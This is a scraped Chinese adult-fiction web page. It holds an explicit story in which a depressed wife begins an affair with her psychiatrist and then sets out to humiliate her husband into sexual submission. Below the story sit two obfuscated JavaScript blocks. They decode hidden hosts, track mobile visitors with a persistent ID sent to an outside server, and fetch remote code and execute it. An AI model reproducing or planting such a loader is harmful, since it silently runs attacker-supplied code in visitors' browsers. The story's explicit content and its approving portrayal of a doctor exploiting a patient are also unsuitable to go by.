图片载入中

人妻若宁的自白

特大字】 【大字】 【中字】 【小字

“我说我想要吃青金桔,不要这种黄色的,我就想吃酸的!我不管我就是要吃,你去给我买来!”看着丈夫落寞的身影,又一次走出了家门满足我的任性,我的心里却没有丝毫快乐。

这已经不知道是这个星期来第几次我和丈夫的吵架了,我们吵架的原因也特别简单,小到材米油盐大到日常女儿的照顾乃至于夫妻间的性生活,都会是我们争吵的源头。

今年是我和丈夫结婚的第十个年头,早已经从拉个手都会脸红害羞过度到了在家穿个内衣都不会多看对方一眼的熟悉地步。

我的丈夫工作很体面,是一个律师,但他的外表与能力却是成为反比,一米七的不起眼的身高,却陪着一百六十多斤的赘肉,走起路来看着我都替他累。

年轻的时候我是班里的最闪耀的那颗星,班里的许多男生都愿意围着我转,我可以像一个公主一样对他们尽情使唤,而他们却不会有任何的怨言,甚至会笑脸相迎。

“你还是快点找个男朋友安定下来吧,到时候别好的都被人挑走了,差不多就行了,过日子没必要这么好。”这是我在二十七 岁的时候我妈对我的劝告,那时的我刚和我的美国男友分手,身边的同学或者朋友到了我这个年纪可能已经是一个孩子的妈妈了,而我还在爱情的马拉松赛道上漫无目的地散步。

源于对自己自身条件的优越,我从来不担心会成为社会那些所谓的大龄剩女,如果不是找到一个我心目中完美的那个‘他’,我是不会乖乖妥协收心做一只温顺的梅花鹿的。

不知道是我的运气真的差到极点还是我妈的预言成真了,我依然过着我无忧无虑的生活做着我那不知道何时才会实现的王子与公主的美梦,一直到了我三十岁生日那天,我依然单着。

我开始减少交际,尽量少地和朋友们聚会,因为每次大家聚在一起我总能感觉到他们的每一个暧昧不清的笑容都是在笑话着我是一个老剩女的事实。

连那些学生时代不断追逐在我石榴裙后面,我几乎记不清长相的那帮男生,见了我也只是简单地打个招唿,没有了那时候的欣喜若狂,他们聚在一起不是工作就是老婆孩子。

我在女生旁边也感受到了这个社会对我的恶意,她们的嘴里说的最多的不再是爱马仕的包包又或者香奈儿的香水,话题的走向最终还是汇聚到了丈夫和家庭身上。

从那次同学聚会之后我就发誓再不去参加这种类似聚会了,有一个一起读书大学时追求过我的男人倒是不知道从谁哪得到我的联系方式,给我发起了信息,这么多年过去他好像还在时刻关注着我的动态。

我的虚荣心再次被满足了,‘看,不管到了什么时候我都是最迷人、最鲜艳的那朵玫瑰花。’。

从各个方面来说这个男人的条件距离我的择偶标准只能算是中等水平,但我享受着被人追捧的感觉,没有拒绝他的好意,开始试着和他交往起来。

我们的进展很迅速,到了他这个年纪已经不是年轻小伙子,他们男人充分知道女人想要些什么,他们又能给予什么。

只是短短的三个月我和这个叫雷的同学发展迅速,其实他不知道的是我在跟他交往的同时,仍然和身边其他对我有兴趣的男人保持着说不清的暧昧关系,希望能多得到一些安全感。

年龄大了,见面次数也差不多了,上床不过是早晚的事情,就在第四个月我和雷终于滚在了同一张床单上。

“若宁你真漂亮,在上学的时候我就喜欢你,一直不敢说。”事后他向我说起了读书时暗恋我的事情,我浅浅一笑这种事早就在我意料之中。

“你打算什么时候带我回去见你爸妈?”

雷开始有些紧张,他的言语闪烁让我心生不安。

又过了一段时间当我再次提起双方回家见父母确认关系的必要时,他干脆朝我大发雷霆,总之就是不肯带我回家见他的父母。

我和他开始了一段时间的冷战,我第一次开始慌了,从来都是我不理别人,而别的男人都像哈巴狗一样追着,这次的冷战雷没有给我发过一条简讯打过一个电话。

“他?我好像听别人说他最近新交了一个女朋友,其他的就不太清楚了。”当我耐不住等待婉转地向其他同学打探雷最近的动态时,得到的却是晴天霹雳,没想到我也会有被人甩的一天,还是后知后觉。

“还是听我的,让你赵姨帮忙注意一下合适的对象。”我妈估计比我还要心急,开始托人帮我相亲。

“这次这个不错,说是工作体面是个律师,人脾气也很好,你见见。”在相了不知道多少次亲之后,我遇到了我的先生,韩,他是我妈一个朋友那边的远房亲戚。

肥胖、个矮、带着眼镜、也不幽默,他全身上下没有一点符合我当初的择偶标准,只有脾气好这一点勉强算是优点。

就这样我们结婚了,在认识短短的两个月后去了民政局把结婚证领了,我实在等不起时间了,再拖下去我怕我会发疯。

婚后有好几次丈夫很贴心地开车到公司楼下接我下班,我看着他那肥硕的身材实在不知道该怎么跟身边的同事解释说他就是我的丈夫。

大概丈夫也有察觉到我的不适,往后如果不是我叫他过来接,肯定不会自己跑过来。

就在我们婚后的第二年,我和韩的爱情结晶我们的女儿出生了,我没有任何作为母亲的喜悦,因为那正是我噩梦的开始。

产后不久由于公司的吸血制度,我不得不提早回去上班,女儿的照顾就交给了我妈和我的丈夫。

每当我在外疲惫了一天回到家,听见那恼人的婴儿哭闹声,我的心情便会莫名烦躁,不管对我妈还是对丈夫都没有一个好脸色,他们迁就着我,没有多说什么。

而压死我的最后一根稻草就是公司因为业绩不佳的缘故要进行大裁员,我就在裁员队伍的其中。

不完美的婚姻,从未有过当母亲的准备加上女儿长得和他爸一样小鼻子小眼难看至极,又被公司裁员,好像所有的不幸都转移到了我身上来。

我根本不敢把心里的这一切苦闷跟任何人哭诉,那个美丽要强的公主受不了旁人的一丝一毫的冷言冷语和嘲笑。

在家里无所事事地多待一刻,心里的怒火就多积攒一分,等到它积满了则会全部发泄到我的丈夫身上,可他偏是个好好先生的脾气,难听点就是窝囊,如何冲他发火他好像都不在意总能笑着对你。

他的笑更像是在笑话着我:“看,你长得再漂亮再多人喜欢,最后还不是要嫁给我。”伴随着吵架次数的增加战火也开始升级,最后已经到了丈夫在一边不发一语,而我还是怒火难平指着他骂个不停,严重地影响到了我妈和女儿的休息。

“你这要不要去看一下医生?”

我妈以过来人的身份认为我可能患了产后抑郁症,她劝我去医院里看看。

就这么不幸,最后的诊断结果我被确诊是患了产后抑郁症。

我的人生再没有比那段时间更加黑暗的日子了,就像是辛苦爬到两百层楼,一个滑步又跌落到地面摔得粉身碎骨。

“你现在的病情还不算太严重,平时多放松一点不要想太多,其实孕妇产后的抑郁是比较普遍的,没什么好担心。”给我看病的三十多岁的男大夫,说话声音很轻柔给人很舒服的感觉,是丈夫找了好几个关系找到的,专家级的人物,叫刘涛。

“平时老公在家时间多吗?”

他好像在跟一个老朋友似的低着头看着报告一面又跟我问话。

“他是律师,大部分时间都在事务所里,比较忙。”刘涛很惊讶地猛地抬起了头,用一种很夸张的口吻说道:“那可真厉害,我之前也没多问我那朋友。那可不简单呢。”紧接着又很惋惜地叹了口气:“不过也对,像你这样的抑郁症大多是来自自己的心理压力,加上老公没什么时间能陪在身边,时间久了容易积压情绪。”我在那一刻真觉得他是全世界唯一懂我的人,我心里委屈和不能言语的痛好像他都知道。

自从抑郁后的我,很少说话就算是对着自己的亲妈,那一天我在他的办公室里好像把这几个月来没说出来的话一股脑地全部倾泻出来。

“你就是多心了,你丈夫能娶到你这么美丽温柔的妻子怎么可能还会在外面有其他的女人呢。”这是我这段时间来和丈夫吵架很重要的因素,我开始怀疑他在外面偷偷找其他女人了,尽管没有证据,再从他自身的外在条件上也不满足这以可能,但这念头一起就再难平复下去。

“不是的,他以前回家以后都会有很多话跟我说的,现在回到家里也不跟我说话,到了晚上就躺下去睡觉了,他肯定在外面有女人了。”刘涛没有理会我的怀疑,反而问我一句:“你现在和你先生的夫妻生活还和谐吗?”他的这一句话把我愣住了,不是怪责他的无理,而是就着他的问题我才回忆起了自从生了孩子之后确实是没有再和丈夫同过房。

其实丈夫的身体是有缺陷的,他的阴茎要比一般人的小一些,加上他的赘肉更显得他那个部位小巧可怜。

我三十一岁嫁给他,正是如狼似虎的年纪,老实说到了晚上我们在床上的时候,他并不能很好地满足我,但我那时顾及到他的面子还是要很卖力地表演自己很享受这个过程。

刚生完女儿的那段时间他有多次想和亲热,但每当他那肥手触碰到我的身体时,我就会产生想要呕吐的感觉,极其难受,加上身体确实还不舒服就拒绝了。

在他多次恳求仍想要进行夫妻间亲热之际,我干脆狠狠地告诉他自己现在对这个不感兴趣,性冷淡了别再惹我。

丈夫好像开始跟我赌气,一直到了现在也没再主动碰过我的身体,我现在把这一切都告诉了刘涛,只是第一次见面而已就对他好像有种莫名的信任。

到了晚上丈夫仍在书房里忙着工作,这段时间通过刘医生的心理治疗我的情绪稳定了很多,有时能够跟丈夫说几句玩笑话了,但当他有进一步的举动时我的身体仍是难以接受,看到他失落的神情我竟然有些窃喜。

“咚咚咚。”

我敲了下门没等丈夫回答直接开门进了去。

“这是妈给你煮的参汤。”

我话没说完,看向丈夫正一脸惊愕地睁大眼睛也看着我,一副做错事后心里有鬼的样子,我的眼睛顺势低头一看才发现他的裤子还耷拉在地上没穿起来。

我脸色一红这才知道他刚才在屋子里做什么‘好事’呢,把参汤放下后没多说一句就往外走去。

“老婆,你能不能……”

丈夫在后面叫了我一声,我知道他想说什么,但依旧冰冷决绝地告诉他:“你别工作到太晚,注意身体,我先去睡了。”丈夫没有再多挽留一句任由我走出了房间。

对啊,我们的夫妻性生活已经到了基本告别的地步,离婚好像也是迟早的事情,只是两人谁都不敢先开口说出这句话。

“晚上有时间吗,我们去看电影吧。”

刘涛在一次正常诊疗后突然向我发出了邀约。

“看电影?我和你吗?”

他很肯定地点了点头。

“那好吧,晚上见。”

我犹豫了一会,最终还是答应了,在这段和他相处让他治疗的过程中,我们已经变成了无话不谈的朋友,他已经结婚了我知道的,但面对他的约会我鬼使神差地还是答应了。

那天晚上我在家里精心打扮了一番,告诉丈夫朋友有个聚会,从他的眼神里我看出了怀疑,但他还是没有多问。

“呀!你这件衣服真漂亮,穿在你身上真好看。”“谢谢。”我和刘涛肩并肩走进了影院,电影很一般没什么好说的,出了放映厅走出了大门,他说送我回去。

我一看时间还早便提议散步走一段路,他就陪着我漫无目的地在这个热闹的大街上闲逛,期间我发现他有好几次都想伸手牵我的手,但犹豫了几次还是缩回去了。

但就在我们过马路的时候,一辆自行车飞快地从我们面前驶过,他身手敏捷地拉了我一把才不致我受伤。

这一抓自然是抓到我的胳膊上,也再没放开手,就这么自然而然地手与手牵在一起。

“我快到家了,就送到这吧,我怕……”

“我明白。”

他深情地凝视着我,满眼都是不舍。

“下次,我们还能一起出来看看电影吗?”

我看着他,他正满怀不安地等待我的答案。

我挣脱了他的手,只留下了一句再见,转过跑回了家里,我害怕自己再多呆一秒再多犹豫一秒,今晚就要彻底沦陷了。

后面的几次复诊我都没有去,刘涛则在手机上不断给我留言,为那天晚上的莽撞道歉,其实他不知道这是不需要的,那正是我所喜欢他做的。

大约过了半个月后我才再次出现在他的诊所里,他见了我呆呆地站在那里好像忘记了怎么开口说话。

那一天中午我们一起去吃饭,到了下午去逛街,晚上则是在电影院度过,而深夜自然上了同一张床交缠在一起。

“你爱我吗?”

我明知道自己有了丈夫有了家庭关键是已经生了女儿,我和他是不可能的,但我内心还是希望能听到他的答案。

“我爱你,很爱很爱你。”

简单直白的情话好像更容易勾起人的情感,他的阳具也在我的体内愉快地驰骋沙场,我全身骨头都要软了。

这种感觉是我在和丈夫同房时没有体会过的,心甘情愿地被征服被支配,身体的摇摆都跟随他的意愿而动,原来性爱是这么美妙的一回事,我已经有多少年没有在男人身上体会过了。

事后一根烟快活赛神仙,我忘了这是哪个曾经与我发生过关系的男友告诉我的,刘涛此刻也是背靠着墙壁嘴里叼着烟,而我像个温顺的小女人依偎在他怀里。

“刚才爽不爽。”

外表斯文的刘涛在床上跟大部分的男人一样,暴力、语言粗俗、想要占有女人的一切,这样的男人在我的生命中见过太多了,他们想要什么我实在是清楚不过。

“比你老公操你还爽吗?”

刘涛得寸进尺地想要在我的口中满足他们男人所谓的虚荣心,和一个有妇之夫在一起上了床,自然会拿对方丈夫的性能力做个比较。

这一问题我想都没想便告诉了他答案,就连丈夫那活儿小的隐私秘密也一起和盘托出,为此他大笑不已,很是得意的样子,听着人妻在自己的怀抱里哭诉着自己丈夫性能力的不足,这是一件多么有趣又刺激的事。

“电脑怎么都忘记关了?”

那天丈夫临时有事,中午的时候急急忙忙又跑回了事务所,在我进他书房打扫卫生时才发现他办公用的电脑竟然没关。

我之前曾经告诉了刘涛,丈夫已经快有大半年没有再碰过我了,他毫不吝啬地嘲笑着丈夫可能每晚都是自己偷偷解决的,电脑里或许有大量的成人影片留着。

所以在我看到那电脑没关上的时候突然有想起他的这番话,我想看看丈夫是不是真的如他所想的那样,电脑里已经下了许多淫秽视频备用。

果然让我找到了,丈夫是学法律的,对电子的东西一窍不通也不感兴趣,在电脑上很容易就找到了他存放影片的位置。

只是他好像做律师的习惯,每一部影片都是用数字和字母做了记号,光看表面的话让人还以为是什么工作档案。

好奇之下我点开了影片,我想看看丈夫平时的性爱好是怎样的。

那几段影片里充斥着大量的皮鞭和滴蜡的镜头,看得我有些反胃,关掉再打开一个就变成了数不清的男优围绕着娇弱的女优发出淫荡暧昧的笑声的画面,后面再打开的影片里内容无外乎这两种,让我更加地厌恶起丈夫来,没想到他看色情影片的口味都是这么的惹我厌恶。

我后来把这件事情告诉了刘涛,他告诉我丈夫可能性爱好比较特殊,喜好SM、群交一类的东西,如果是那样的话我和他出轨的事情对丈夫来说可能是一件喜事。

我不敢相信世界还有喜欢看到自己妻子出轨的男人,但经过刘涛作为心理医生的专业知识分析,又想到丈夫那窝囊的样子和他短小的阳具,猜测他可能因此心理扭曲也不是不可能。

“你回家可以试探他一下。”

我好像发现了特别好玩的事情,那几天的夜里都会穿得特别性感,看到丈夫死盯着我的那副色鬼面孔又好气又窃喜,也是适当地拿手撩拨一下他的小弟弟。

但当他要脱衣准备大干一场的时候就摆出生气的样子找各种借口拒绝他,丈夫转眼就变成了泄气的皮球,低头丧气地坐在那里,我见他这幅模样心里竟然会暗爽到,这样的报复好像把我多年的积怨都发泄了出来。

此后很长的一段时间里我都如此戏弄着丈夫,让他随时处在爆发的边缘,却到最后的关头一把把他推下悬崖,没有比看到他沮丧的样子更让我高兴的事情了。

丈夫在这段期间也发生了巨大的变化,他时常一个人呆呆地坐在那里不说话,更重要的是他开始毫不避讳地在家里发泄他那多到无处发泄的欲望和精力。

以前可能只是自己一个人躲在书房里看着色情影片解决生理需求,到现在变成随时随地都可以掏出阳具发泄,有时是在我们的卧室里有时在卫生间里拿着我换洗下来的内衣,甚至有一次让我妈都看到了。

为此我妈还特地找我谈过一次话,我找个身体不舒服的原因搪塞过去,他的这种种改变是我没有预料到的。

“他会不会成为变态,我看他的状态有点像了。”我向刘涛求救,他给我的答案是不用在意,甚至让我有意无意地把我和他之间的关系泄露给丈夫知道,我心里开始渐渐明白刘涛他在酝酿着什么计划。

我心里有闪过一丝不忍,但最后还是听从了刘涛的安排,开始在家中做出一些反常的举动引起丈夫的注意。

譬如半夜凌晨还在跟人聊天,接到电话会特意避开丈夫躲到其他房间接听,手机总是随身带着,我想这么多的异常举动丈夫再笨也能有所察觉到吧。

“你最近是不是遇到什么事情了,老和人打电话聊天。”看,这就是我那没用的丈夫,明明心里已经打定了他妻子出轨的准备,但就是不敢直接摊牌,我当初真是瞎了眼才会嫁给这种没用的男人。

我用很平淡的口吻告诉他自己没有发生什么特别的事情,还是和平常一样,看他的样子就知道不相信我说的话,但他还是没敢继续追问下去。

这件事情我告诉了刘涛,我们两个笑得人仰马翻合不拢嘴,是不是该增加点刺激给他呢,我已经由被动变为主动地享受这个折磨丈夫的游戏了。

我开始夜不归宿,丈夫打电话过来我直接挂了,第二天回家他问我昨晚的行踪,我便找一个漏洞百出的借口给他,他的忍耐力倒是强,一忍再忍就是没发作。

“开始增加点刺激给他吧,我倒是想看看他到底能忍耐到什么时候。”自此我和刘涛打电话调情没有再避讳丈夫,而我的包包内还可以找到新买来的避孕套,是我故意放在里面的,那一阵子丈夫变化的模样我都有些认不出来了。

“我是在外面有人了,你其实一早就知道了的,这还要来问我。”当丈夫再一次向我求证,我毫不在意地把整件事说出,他抱着头蹲在地板上迟迟没起来。

“什么时候发生的,为什么、为什么你要这么对我。”他没有我想像中歇斯底里地怒吼,情绪只是略微有些激动,我告诉了他我和刘涛前前后后的所有事,他沉默了,我不屑地看了一眼他出门去赴今晚的约。

“到最后或许你老公会感谢我们的。”

烛光晚餐、香槟玫瑰,这一切我都拍下了照片给丈夫发了过去,开始了他彻底转变之路。

当天晚上回到家,他早早已经躺在床上就寝,当我上床后他动来一下,我才发现他一直醒着,我一瞬间可以肯定他是不会和我离婚的,他的一切反应都和刘涛猜测的一样,到最后他会爱上这一切。

从此我和刘涛的关系在丈夫面前就算是彻底公开了,再也不必隐瞒,约会吃饭、电话调情,这些丈夫都一清二楚,他的眼神从一开始的愤怒变到后来越发的平静,直到后来我每打一次电话、每一次打扮出门他都像是坐在电视机前等待彩票开奖的观众一样热切关注。

“老公,我包里的套好像不够用了,你帮我出去买几个吧。”帮着妻子和情妇约会而去买避孕套,这么无理过分乃至不可理喻的请求,我现在也可大方地对我丈夫提出,而他在挣扎了一会后还是默默地出门帮我买来了避孕套塞进包里。

“这已经是最后的阶段了。”

我听从刘涛的安排在和他放纵过后,大概凌晨一两点的时候回到自己家,进了房间就把丈夫吵醒了,他看来是有心事才夜不能寐吧。

“帮我把内裤丝袜洗了,我明天要穿的。”

我从包里拿出了那条沾满我和刘涛激情过后残留着的爱液的内裤和丝袜,交到了丈夫手里,他的整只手都在颤抖,那不是愤怒,我看得出来他是在兴奋。

丈夫没有多说一句,默默地起身穿上了外套去了卫生间连夜给我洗起了内裤丝袜,不,应该说是给我和刘涛。

“你没有跟去卫生间看看吗,或许他不只是在洗内裤而已。”刘涛听完我的口述,问了一个很奇妙的问题,也给我们更深一层的游戏体验提供了方案。

我到现在都可以记得丈夫看到那只避孕套时是怎样一种难以描述的表情,那是我和刘涛刚做完爱后他用过的避孕套,那里面还盛放着腥臭的精液,不知道是不是错觉我摸起来还有点余热。

丈夫盯着那只我和他人用过的避孕套,喉头滚了几下,用双手捧着几乎是跌跌撞撞走出了卧室,至于他最后是怎么处理那只避孕套的,我没有兴趣查探下去,只是看他现在的状态我已经知道目的达到了。

让我想不到的是他进步如此神速,当他当着我的面打开那个包裹,拿出贞操锁,在我的面前带上,把自己的小鸟就此锁在了笼中。

我笑着问:“带上去喜欢吗?”

丈夫没有比这一刻更轻松更愉悦的了:“老婆,你是我的主人。求你、求你给我更大的快乐吧。”从那晚开始那只贞操锁就跟丈夫形影不离,连上床睡觉他都带着,上班、出门他也不脱,其实这一切我都没有指示他去做,完全出自他的主动意愿。

而作为奖励,我也时不时地带回来一些和刘涛性爱后的纪念品给他享用,他如获至宝地拿着那些我们用过的衣物、情趣玩具,甚至是我们拍摄的小短片一看再看,有好几次他都忍不住想用手去自己打手枪,但我一瞪他便不敢了。

丈夫在这个游戏中沈迷到何种地步我不知道,但我已经爱上了这个游戏,嫁给他原来也不是一件坏事,我第一次有了这种感觉。

“吱咋~”

凌晨一点我再次从酒店回到了家里,刚一开门把我吓了一跳,丈夫就在大门口,他双膝跪在我的面前好像等候多时,全身赤裸着下体还挂着冰冷的贞操锁,低着头非常恭敬地用双手捧着整齐而又洁白的毛巾说道:“主人,欢迎回来。”我知道我和他再回不去正常的生活,因为我们即将开始一个全新的体验。

字节数:17285

【完】


上一篇:邻人妻惠玲阿姨下

下一篇:九天圣王现代风流记(21-25)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};